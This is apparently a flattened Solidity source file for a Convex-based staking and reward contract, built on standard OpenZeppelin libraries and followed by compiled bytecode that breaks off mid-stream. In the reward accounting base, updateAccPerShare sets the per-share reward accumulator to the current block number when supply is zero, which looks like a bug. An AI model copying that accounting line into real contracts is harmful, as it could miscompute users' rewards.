"../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal initializer { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal initializer { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } uint256[49] private __gap; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; library Errors { string public constant ZERO_ADDRESS = "100"; string public constant ZERO_AMOUNT = "101"; string public constant INVALID_ADDRESS = "102"; string public constant INVALID_AMOUNT = "103"; string public constant NO_PENDING_REWARD = "104"; string public constant INVALID_PID = "105"; string public constant INVALID_POOL_ADDRESS = "106"; string public constant UNAUTHORIZED = "107"; string public constant ALREADY_EXISTS = "108"; string public constant SAME_ALLOCPOINT = "109"; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface ISwishPool { function lpToken() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface ISwishPoolManager { function feeInfo() external view returns ( uint256, address, uint256, address, uint256 ); function rewardToken() external view returns (address); function mint(address user, uint256 cvxAmount) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; interface IConvexBooster { function poolInfo(uint256) external view returns ( address, address, address, address, address, bool ); function deposit( uint256, uint256, bool ) external returns (bool); function depositAll(uint256, bool) external returns (bool); function withdraw(uint256, uint256) external returns (bool); function withdrawAll(uint256) external returns (bool); function rewardClaimed( uint256, address, uint256 ) external returns (bool); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; interface IBaseRewardPool { function getReward(address, bool) external returns (bool); function getReward() external returns (bool); function earned(address) external view returns (uint256); function balanceOf(address) external view returns (uint256); function extraRewards(uint256) external view returns (address); function withdrawAndUnwrap(uint256, bool) external returns (bool); function extraRewardsLength() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IConvexToken is IERC20 { function reductionPerCliff() external view returns (uint256); function totalCliffs() external view returns (uint256); function maxSupply() external view returns (uint256); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; interface IVirtualBalanceRewardPool { function getReward(address) external; function getReward() external; function balanceOf(address) external view returns (uint256); function earned(address) external view returns (uint256); function rewardToken() external view returns (address); } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; abstract contract SwishBaseMasterchef { struct PoolData { IERC20Upgradeable rewardToken; uint256 accRewardPerShare; // Accumulated Rewards per share, times 1e36. See below. uint256 lastReward; uint256 curReward; uint256 pendingReward; } uint256 public totalSupply; mapping(address => uint256) public balanceOf; uint256 public rewardPoolsCount; mapping(uint256 => PoolData) public rewardPools; mapping(uint256 => mapping(address => uint256)) internal userRewardDebt; mapping(uint256 => mapping(address => uint256)) internal userPendingRewards; function updateAccPerShare(uint256 pid, uint256 addedReward) internal { PoolData storage pool = rewardPools[pid]; pool.curReward = pool.lastReward + addedReward; if (totalSupply == 0) { pool.accRewardPerShare = block.number; return; } pool.accRewardPerShare += (addedReward * (1e36)) / totalSupply; } function withdrawReward(uint256 pid, address user) internal { PoolData storage pool = rewardPools[pid]; uint256 pending = ((balanceOf[user] * pool.accRewardPerShare) / 1e36) - userRewardDebt[pid][user]; if (pending > 0) { userPendingRewards[pid][user] += pending; pool.pendingReward += pending; } pool.lastReward = pool.curReward - pending; } function harvest(uint256 pid, address user) internal returns (uint256 harvested) { harvested = userPendingRewards[pid][user]; if (harvested > 0) { userPendingRewards[pid][user] = 0; rewardPools[pid].pendingReward -= harvested; } } function updateUserRewardDebt(uint256 pid, address user) internal { userRewardDebt[pid][user] = (balanceOf[user] * rewardPools[pid].accRewardPerShare) / 1e36; } function pendingReward( uint256 pid, address user, uint256 addedReward ) internal view returns (uint256) { if (totalSupply == 0) return 0; uint256 newAccRewardPerShare = rewardPools[pid].accRewardPerShare + ((addedReward * 1e36) / totalSupply); return ((balanceOf[user] * newAccRewardPerShare) / 1e36) - userRewardDebt[pid][user] + userPendingRewards[pid][user]; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
0x608060405234801561001057600080fd5b50600436106101515760003560e01c806381d60956116100cd578063b6b55f2511610081578063dad9bc1411610066578063dad9bc1414610250578063dc4c90d314610258578063f40f0f521461026057610151565b8063b6b55f2514610235578063b6bff2951461024857610151565b806399512aae116100b257806399512aae1461021d578063b3b7f94314610225578063b575f5141461022d57610151565b806381d6095614610202578063945c91421461021557610151565b80634641257d116101245780635fcbd285116101095780635fcbd285146101d257806370a08231146101e7578063759cb53b146101fa57610151565b80634641257d146101a657806346abf391146101ae57610151565b806306fdde0314610156578063153a72161461017457806318160ddd146101895780632e1a7d4d14610191575b600080fd5b61015e610280565b60405161016b9190612595565b60405180910390f35b61017c61030e565b60405161016b91906127aa565b61017c610314565b6101a461019f3660046123fb565b61031a565b005b6101a46104d7565b6101c16101bc3660046123fb565b61059e565b60405161016b959493929190612567565b6101da6105d8565b60405161016b919061249d565b61017c6101f5366004612269565b6105e7565b6101da6105f9565b6101a4610210366004612322565b610611565b6101da610afb565b6101a4610b13565b6101da610fd9565b61017c610fe8565b6101a46102433660046123fb565b610fee565b6101da6112fa565b6101da611309565b6101da611321565b61027361026e366004612269565b611330565b60405161016b9190612523565b603f805461028d90612875565b80601f01602080910402602001604051908101604052809291908181526020018280546102b990612875565b80156103065780601f106102db57610100808354040283529160200191610306565b820191906000526020600020905b8154815290600101906020018083116102e957829003601f168201915b505050505081565b60025481565b60005481565b600260075414156103465760405162461bcd60e51b815260040161033d90612716565b60405180910390fd5b600260075533600090815260016020526040902054811180159061036957508015155b6040518060400160405280600381526020017f3130330000000000000000000000000000000000000000000000000000000000815250906103bd5760405162461bcd60e51b815260040161033d9190612595565b506103c6611471565b6103d033826114e2565b603d546040517fc32e72020000000000000000000000000000000000000000000000000000000081526001600160a01b039091169063c32e72029061041c9084906000906004016127b3565b602060405180830381600087803b15801561043657600080fd5b505af115801561044a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046e91906123e1565b50603b54610486906001600160a01b0316338361152b565b61048e6115b3565b336001600160a01b03167f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364826040516104c791906127aa565b60405180910390a2506001600755565b600260075414156104fa5760405162461bcd60e51b815260040161033d90612716565b6002600755610507611471565b61050f6115e1565b6040518060400160405280600381526020017f3130340000000000000000000000000000000000000000000000000000000000815250906105635760405162461bcd60e51b815260040161033d9190612595565b5061056c6115b3565b60405133907f188a622567eeca997c3d494fd65f76ca910b90a50a0c44d5e37b2ea5539e027b90600090a26001600755565b6003602081905260009182526040909120805460018201546002830154938301546004909301546001600160a01b03909216939092909185565b603b546001600160a01b031681565b60016020526000908152604090205481565b734e3fbd56cd56c3e72c1403e103b45db9da5b9d2b81565b600654610100900460ff168061062a575060065460ff16155b6106465760405162461bcd60e51b815260040161033d90612625565b600654610100900460ff16158015610671576006805460ff1961ff0019909116610100171660011790555b6106796116cc565b603a805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b038616179055603c83905581516106b990603f9060208501906121c0565b50603a60009054906101000a90046001600160a01b03166001600160a01b031663f7c618c16040518163ffffffff1660e01b815260040160206040518083038186803b15801561070857600080fd5b505afa15801561071c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107409190612285565b603980546001600160a01b039290921673ffffffffffffffffffffffffffffffffffffffff1992831617905560036020527f3617319a054d772f909f7c479a2cebe5066e836a939412e32403c99029b92eff8054821673d533a949740bb3306d119cc777fa900ba034cd5217905560016000527fa15bc60c955c405d20d9149c709e2460f1c2d9a497496a7f46004d1772c3054c8054909116734e3fbd56cd56c3e72c1403e103b45db9da5b9d2b1790556040517f1526fe2700000000000000000000000000000000000000000000000000000000815273f403c135812408bfbe8713b5a23a04b3d48aae3190631526fe27906108419086906004016127aa565b60c06040518083038186803b15801561085957600080fd5b505afa15801561086d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089191906122a1565b5050603d805473ffffffffffffffffffffffffffffffffffffffff199081166001600160a01b039384161791829055603b805490911695831695909517909455604080517fd55a23f40000000000000000000000000000000000000000000000000000000081529051600095909216935063d55a23f49250600480820192602092909190829003018186803b15801561092957600080fd5b505afa15801561093d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109619190612413565b905060005b81811015610ad357603d546040517f40c354460000000000000000000000000000000000000000000000000000000081526001600160a01b03909116906340c35446906109b79084906004016127aa565b60206040518083038186803b1580156109cf57600080fd5b505afa1580156109e3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a079190612285565b6001600160a01b031663f7c618c16040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3f57600080fd5b505afa158015610a53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a779190612285565b60036000610a868460026127db565b81526020810191909152604001600020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039290921691909117905580610acb816128b0565b915050610966565b50610adf8160026127db565b600255508015610af5576006805461ff00191690555b50505050565b73d533a949740bb3306d119cc777fa900ba034cd5281565b60026007541415610b365760405162461bcd60e51b815260040161033d90612716565b600260078190555060008060025467ffffffffffffffff811115610b6a57634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610b93578160200160208202803683370190505b509050600091505b600254821015610c6f57600082815260036020526040908190205490516370a0823160e01b81526001600160a01b03909116906370a0823190610be290309060040161249d565b60206040518083038186803b158015610bfa57600080fd5b505afa158015610c0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c329190612413565b818381518110610c5257634e487b7160e01b600052603260045260246000fd5b602090810291909101015281610c67816128b0565b925050610b9b565b603d546040517f7050ccd90000000000000000000000000000000000000000000000000000000081526001600160a01b0390911690637050ccd990610cbb9030906001906004016124ef565b602060405180830381600087803b158015610cd557600080fd5b505af1158015610ce9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0d91906123e1565b50600091505b600254821015610e1d57808281518110610d3d57634e487b7160e01b600052603260045260246000fd5b602090810291909101810151600084815260039092526040918290205491516370a0823160e01b815290916001600160a01b0316906370a0823190610d8690309060040161249d565b60206040518083038186803b158015610d9e57600080fd5b505afa158015610db2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dd69190612413565b610de09190612832565b818381518110610e0057634e487b7160e01b600052603260045260246000fd5b602090810291909101015281610e15816128b0565b925050610d13565b6000806000806000603a60009054906101000a90046001600160a01b03166001600160a01b031663995b5aae6040518163ffffffff1660e01b815260040160a06040518083038186803b158015610e7357600080fd5b505afa158015610e87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eab919061242b565b94509450945094509450600096505b600254871015610fcb576000868881518110610ee657634e487b7160e01b600052603260045260246000fd5b60200260200101511115610fb9578415610f5d57610f5d3361271087898b81518110610f2257634e487b7160e01b600052603260045260246000fd5b6020026020010151610f349190612813565b610f3e91906127f3565b60008a8152600360205260409020546001600160a01b0316919061152b565b8215610f8b57610f8b8461271085898b81518110610f2257634e487b7160e01b600052603260045260246000fd5b8015610fb957610fb98261271083898b81518110610f2257634e487b7160e01b600052603260045260246000fd5b86610fc3816128b0565b975050610eba565b505060016007555050505050565b6039546001600160a01b031681565b603c5481565b600260075414156110115760405162461bcd60e51b815260040161033d90612716565b600260075560408051808201909152600381527f31303100000000000000000000000000000000000000000000000000000000006020820152816110685760405162461bcd60e51b815260040161033d9190612595565b50611071611471565b603b546040516370a0823160e01b81526000916001600160a01b0316906370a08231906110a290309060040161249d565b60206040518083038186803b1580156110ba57600080fd5b505afa1580156110ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f29190612413565b603b5490915061110d906001600160a01b0316333085611749565b603b546040516370a0823160e01b81526000916001600160a01b0316906370a082319061113e90309060040161249d565b60206040518083038186803b15801561115657600080fd5b505afa15801561116a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118e9190612413565b905061119a8282612832565b92506111a6338461176a565b603b546111d2906001600160a01b031673f403c135812408bfbe8713b5a23a04b3d48aae3160006117aa565b603b546111fd906001600160a01b031673f403c135812408bfbe8713b5a23a04b3d48aae31856117aa565b603c546040517f43a0d06600000000000000000000000000000000000000000000000000000000815273f403c135812408bfbe8713b5a23a04b3d48aae31916343a0d06691611254919087906001906004016127c3565b602060405180830381600087803b15801561126e57600080fd5b505af1158015611282573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a691906123e1565b506112af6115b3565b336001600160a01b03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c846040516112e891906127aa565b60405180910390a25050600160075550565b603d546001600160a01b031681565b73f403c135812408bfbe8713b5a23a04b3d48aae3181565b603a546001600160a01b031681565b6002546060906113418160016127db565b67ffffffffffffffff81111561136757634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015611390578160200160208202803683370190505b509150600061139d611886565b905060005b828110156114695760006113de82878585815181106113d157634e487b7160e01b600052603260045260246000fd5b60200260200101516119d2565b90508160011415611420576113f281611ab0565b8560008151811061141357634e487b7160e01b600052603260045260246000fd5b6020026020010181815250505b808561142d8460016127db565b8151811061144b57634e487b7160e01b600052603260045260246000fd5b60209081029190910101525080611461816128b0565b9150506113a2565b505050919050565b600061147b611886565b60025490915060005b818110156114d9576114bd818483815181106114b057634e487b7160e01b600052603260045260246000fd5b6020026020010151611d5e565b6114c78133611dd7565b806114d1816128b0565b915050611484565b505043603e5550565b6001600160a01b0382166000908152600160205260408120805483929061150a908490612832565b92505081905550806000808282546115229190612832565b90915550505050565b6115ae8363a9059cbb60e01b848460405160240161154a92919061250a565b60408051601f198184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff0000000000000000000000000000000000000000000000000000000090931692909217909152611eb8565b505050565b60025460005b818110156115dd576115cb8133611f47565b806115d5816128b0565b9150506115b9565b5050565b600254600090815b818110156116c75760006115fd8233611fba565b905080156116b457816001141561168c57603a546040517f40c10f190000000000000000000000000000000000000000000000000000000081526001600160a01b03909116906340c10f1990611659903390859060040161250a565b600060405180830381600087803b15801561167357600080fd5b505af1158015611687573d6000803e3d6000fd5b505050505b6000828152600360205260409020546116af906001600160a01b0316338361152b565b600193505b50806116bf816128b0565b9150506115e9565b505090565b600654610100900460ff16806116e5575060065460ff16155b6117015760405162461bcd60e51b815260040161033d90612625565b600654610100900460ff1615801561172c576006805460ff1961ff0019909116610100171660011790555b611734612031565b8015611746576006805461ff00191690555b50565b610af5846323b872dd60e01b85858560405160240161154a939291906124cb565b6001600160a01b038216600090815260016020526040812080548392906117929084906127db565b925050819055508060008082825461152291906127db565b80158061184b57506040517fdd62ed3e0000000000000000000000000000000000000000000000000000000081526001600160a01b0384169063dd62ed3e906117f990309086906004016124b1565b60206040518083038186803b15801561181157600080fd5b505afa158015611825573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118499190612413565b155b6118675760405162461bcd60e51b815260040161033d9061274d565b6115ae8363095ea7b360e01b848460405160240161154a92919061250a565b6002546060908067ffffffffffffffff8111156118b357634e487b7160e01b600052604160045260246000fd5b6040519080825280602002602001820160405280156118dc578160200160208202803683370190505b50915060005b818110156116c757600081815260036020526040908190206004808201546002830154925493516370a0823160e01b815290936001600160a01b0316916370a08231916119319130910161249d565b60206040518083038186803b15801561194957600080fd5b505afa15801561195d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119819190612413565b61198b9190612832565b6119959190612832565b8382815181106119b557634e487b7160e01b600052603260045260246000fd5b6020908102919091010152806119ca816128b0565b9150506118e2565b600080546119e257506000611aa9565b600080546119ff846ec097ce7bc90715b34b9f1000000000612813565b611a0991906127f3565b600086815260036020526040902060010154611a2591906127db565b60008681526005602090815260408083206001600160a01b038916808552908352818420548a85526004845282852091855290835281842054600190935292205492935090916ec097ce7bc90715b34b9f100000000090611a87908590612813565b611a9191906127f3565b611a9b9190612832565b611aa591906127db565b9150505b9392505050565b600080603960009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015611b0157600080fd5b505afa158015611b15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b399190612413565b905080611b495782915050611d59565b603954604080517f1f96e76f00000000000000000000000000000000000000000000000000000000815290516000926001600160a01b031691631f96e76f916004808301926020929190829003018186803b158015611ba757600080fd5b505afa158015611bbb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bdf9190612413565b90506000603960009054906101000a90046001600160a01b03166001600160a01b031663aa74e6226040518163ffffffff1660e01b815260040160206040518083038186803b158015611c3157600080fd5b505afa158015611c45573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c699190612413565b611c7390846127f3565b905081811015611d51576000611c898284612832565b90508583611c978383612813565b611ca191906127f3565b9050600085603960009054906101000a90046001600160a01b03166001600160a01b031663d5abeb016040518163ffffffff1660e01b815260040160206040518083038186803b158015611cf457600080fd5b505afa158015611d08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d2c9190612413565b611d369190612832565b905080821115611d44578091505b509450611d599350505050565b600093505050505b919050565b60008281526003602052604090206002810154611d7c9083906127db565b6003820155600054611d9457436001909101556115dd565b600054611db0836ec097ce7bc90715b34b9f1000000000612813565b611dba91906127f3565b816001016000828254611dcd91906127db565b9091555050505050565b6000828152600360209081526040808320600483528184206001600160a01b03861685528352818420546001808301549452918420549093926ec097ce7bc90715b34b9f100000000091611e2b9190612813565b611e3591906127f3565b611e3f9190612832565b90508015611e9a5760008481526005602090815260408083206001600160a01b038716845290915281208054839290611e799084906127db565b9250508190555080826004016000828254611e9491906127db565b90915550505b808260030154611eaa9190612832565b826002018190555050505050565b6000611f0d826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166120aa9092919063ffffffff16565b8051909150156115ae5780806020019051810190611f2b91906123e1565b6115ae5760405162461bcd60e51b815260040161033d906126b9565b60008281526003602090815260408083206001908101546001600160a01b03861685529252909120546ec097ce7bc90715b34b9f100000000091611f8a91612813565b611f9491906127f3565b60009283526004602090815260408085206001600160a01b039094168552929052912055565b60008281526005602090815260408083206001600160a01b0385168452909152902054801561202b5760008381526005602090815260408083206001600160a01b03861684528252808320839055858352600390915281206004018054839290612025908490612832565b90915550505b92915050565b600654610100900460ff168061204a575060065460ff16155b6120665760405162461bcd60e51b815260040161033d90612625565b600654610100900460ff16158015612091576006805460ff1961ff0019909116610100171660011790555b60016007558015611746576006805461ff001916905550565b60606120b984846000856120c1565b949350505050565b6060824710156120e35760405162461bcd60e51b815260040161033d906125c8565b6120ec85612181565b6121085760405162461bcd60e51b815260040161033d90612682565b600080866001600160a01b031685876040516121249190612481565b60006040518083038185875af1925050503d8060008114612161576040519150601f19603f3d011682016040523d82523d6000602084013e612166565b606091505b5091509150612176828286612187565b979650505050505050565b3b151590565b60608315612196575081611aa9565b8251156121a65782518084602001fd5b8160405162461bcd60e51b815260040161033d9190612595565b8280546121cc90612875565b90600052602060002090601f0160209004810192826121ee5760008555612234565b82601f1061220757805160ff1916838001178555612234565b82800160010185558215612234579182015b82811115612234578251825591602001919060010190612219565b50612240929150612244565b5090565b5b808211156122405760008155600101612245565b80518015158114611d5957600080fd5b60006020828403121561227a578081fd5b8135611aa9816128f7565b600060208284031215612296578081fd5b8151611aa9816128f7565b60008060008060008060c087890312156122b9578182fd5b86516122c4816128f7565b60208801519096506122d5816128f7565b60408801519095506122e6816128f7565b60608801519094506122f7816128f7565b6080880151909350612308816128f7565b915061231660a08801612259565b90509295509295509295565b600080600060608486031215612336578283fd5b8335612341816128f7565b92506020848101359250604085013567ffffffffffffffff80821115612365578384fd5b818701915087601f830112612378578384fd5b81358181111561238a5761238a6128e1565b604051601f8201601f19168101850183811182821017156123ad576123ad6128e1565b60405281815283820185018a10156123c3578586fd5b81858501868301378585838301015280955050505050509250925092565b6000602082840312156123f2578081fd5b611aa982612259565b60006020828403121561240c578081fd5b5035919050565b600060208284031215612424578081fd5b5051919050565b600080600080600060a08688031215612442578081fd5b855194506020860151612454816128f7565b60408701516060880151919550935061246c816128f7565b80925050608086015190509295509295909350565b60008251612493818460208701612849565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b039290921682521515602082015260400190565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b8181101561255b5783518352928401929184019160010161253f565b50909695505050505050565b6001600160a01b03959095168552602085019390935260408401919091526060830152608082015260a00190565b60006020825282518060208401526125b4816040850160208701612849565b601f01601f19169190910160400192915050565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60408201527f722063616c6c0000000000000000000000000000000000000000000000000000606082015260800190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201527f647920696e697469616c697a6564000000000000000000000000000000000000606082015260800190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152